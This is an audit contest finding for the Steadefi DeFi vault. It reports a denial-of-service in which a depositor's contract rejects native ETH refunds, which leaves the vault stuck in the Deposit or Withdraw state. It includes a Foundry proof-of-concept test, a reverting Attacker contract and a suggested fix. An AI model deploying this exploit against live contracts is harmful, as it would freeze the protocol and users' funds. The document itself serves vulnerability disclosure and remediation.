Steadefi
Steadefi
DeFiHardhatFoundryOracle
35,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

User can revert a token transfer, resulting in a stuck state

schnilch

Summary

If a user transfers Native Currency to deposit and the deposit process fails at GMX, and the 'afterDepositCancellation' function is called, the user will receive their native currency back. However, during the transfer, the user can also trigger a revert, which results in the deposit not being cancellable anymore, and the vault remains in the 'Deposit' state.

Vulnerability Details

Here is a POC that shows the Vault has a stuck state in such a scenario:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC20Errors } from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";
​
import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";
import { Attacker } from "./Attacker.sol";
​
contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_POC3() public {
//Deploy an Attacker contract that can be set to not accepting ETH
Attacker attacker = deployAttacker();
​
//user1 deposits
vm.startPrank(address(user1));
_createAndExecuteDeposit(address(WETH), address(USDC), address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
​
//Attacker receives ETH to deposit
deal(address(attacker), 12 ether);
vm.startPrank(address(attacker));
_createNativeDeposit(address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE); //Attacker deposits native token
attacker.setLocked(true);
vm.stopPrank();
​
//Since the MockExchangeRouter never calls afterDepositCancellation, but this function can be called by the real
//ExchangeRouter, for this POC, a cancellation is simulated by having the mockExchangeRouter simply return the tokens
//and a keeper calling processDepositCancellation.
vm.startPrank(address(mockExchangeRouter));
WETH.transfer(address(vault), WETH.balanceOf(address(mockExchangeRouter)));
USDC.transfer(address(vault), USDC.balanceOf(address(mockExchangeRouter)));
vm.stopPrank();
​
vm.startPrank(address(owner));
vm.expectRevert("Transfer failed.");
vault.processDepositCancellation(); //processDepositCancellation fails because the attacker does not accept ETH.
vm.stopPrank();
GMXTypes.Store memory _store = vault.store();
assert(uint256(_store.status) == uint256(GMXTypes.Status.Deposit)); //shows that the vault is still in the deposit status and does not come out of it
}
​
function deployAttacker() public returns(Attacker){
Attacker attacker = new Attacker();
deal(address(WETH), address(attacker), 10 ether);
​
vm.startPrank(address(attacker));
IERC20(USDC).approve(address(vault), type(uint256).max);
IERC20(WETH).approve(address(vault), type(uint256).max);
IERC20(ARB).approve(address(vault), type(uint256).max);
IERC20(USDC).approve(address(vaultNeutral), type(uint256).max);
IERC20(WETH).approve(address(vaultNeutral), type(uint256).max);
IERC20(ARB).approve(address(vaultNeutral), type(uint256).max);
vm.stopPrank();
return attacker;
}
}

Here is the Code for the attacker contract:

//SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
​
contract Attacker {
error Attacker__IsLocked();
​
bool public locked = false;
​
function setLocked(bool _locked) external {
locked = _locked;
}
​
receive() external payable {
if(locked) revert Attacker__IsLocked();
}
}

The PoC can be started with this command: forge test --match-test POC3 -vv

There is another instance of these bugs during the withdrawal. In the 'processWithdraw' function, the user can withdraw in the native currency and also revert it, which simply reverts the 'processWithdraw' and sets the state back to 'Withdraw'. So the vault is stuck at the withdraw state.

File: GMXWithdraw.sol#processWithdraw
180: if (self.withdrawCache.withdrawParams.token == address(self.WNT)) {
181: self.WNT.withdraw(self.withdrawCache.tokensToUser);
182: (bool success, ) = self.withdrawCache.user.call{value: address(this).balance}("");
183: require(success, "Transfer failed.");
184: }

Impact

If this bug is exploited during the deposit, there is no other option but to call emergencyPause and then emergencyResume, which can only be triggered by an Owner with Multisig and timelock. So, it will take some time to resolve this issue. The same applies to withdrawals.

Tools Used

VSCode, Foundry

Recommendations

A revert during the transfer could be catched, and the tokens could simply be sent to the user in WNT format.

Updates

Lead Judging Commences

hans Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS by rejecting native token

Impact: High Likelihood: High An attacker can repeatedly force the protocol to get stuck in a not-open status. This can happen on both deposit, withdraw callback for both successful execution and failures. Will group all similar issues.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.